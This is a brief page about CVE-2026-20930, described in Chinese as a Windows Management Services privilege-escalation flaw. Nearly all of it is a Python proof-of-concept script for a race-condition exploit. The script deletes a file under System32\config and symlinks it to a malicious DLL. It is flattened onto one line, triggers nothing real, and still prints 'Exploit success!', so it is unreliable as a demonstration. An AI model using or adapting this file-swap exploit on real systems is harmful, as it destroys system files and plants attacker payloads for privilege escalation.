CVE-2026-20930 Windows管理服务权限提升漏洞

import threading import os import time # PoC Simulation for Race Condition in Windows Management Services # This script demonstrates a theoretical exploitation of a TOCTOU vulnerability. TARGET_FILE = "C:\\Windows\\System32\\config\\target_service.dat" MALICIOUS_DLL = "C:\\temp\\payload.dll" def attacker_thread(): print("[+] Attacker thread started: Waiting for race window...") while True: try: # Simulate checking for the existence of the file if os.path.exists(TARGET_FILE): # Attempt to swap the file during the service's processing gap print("[*] Race window detected, attempting file swap...") os.remove(TARGET_FILE) # Create a symbolic link or drop malicious payload os.symlink(MALICIOUS_DLL, TARGET_FILE) print("[+] Exploit success! Malicious link created.") break except Exception as e: # Handle race loss or permission issues silently in loop pass def trigger_service_thread(): print("[*] Service thread started: Triggering vulnerable operation...") time.sleep(0.5) # Delay to simulate service initialization # In a real scenario, this would invoke the specific Windows Management API print("[*] Service accessing shared resource...") if __name__ == "__main__": t1 = threading.Thread(target=attacker_thread) t2 = threading.Thread(target=trigger_service_thread) t1.start() t2.start() t1.join() t2.join()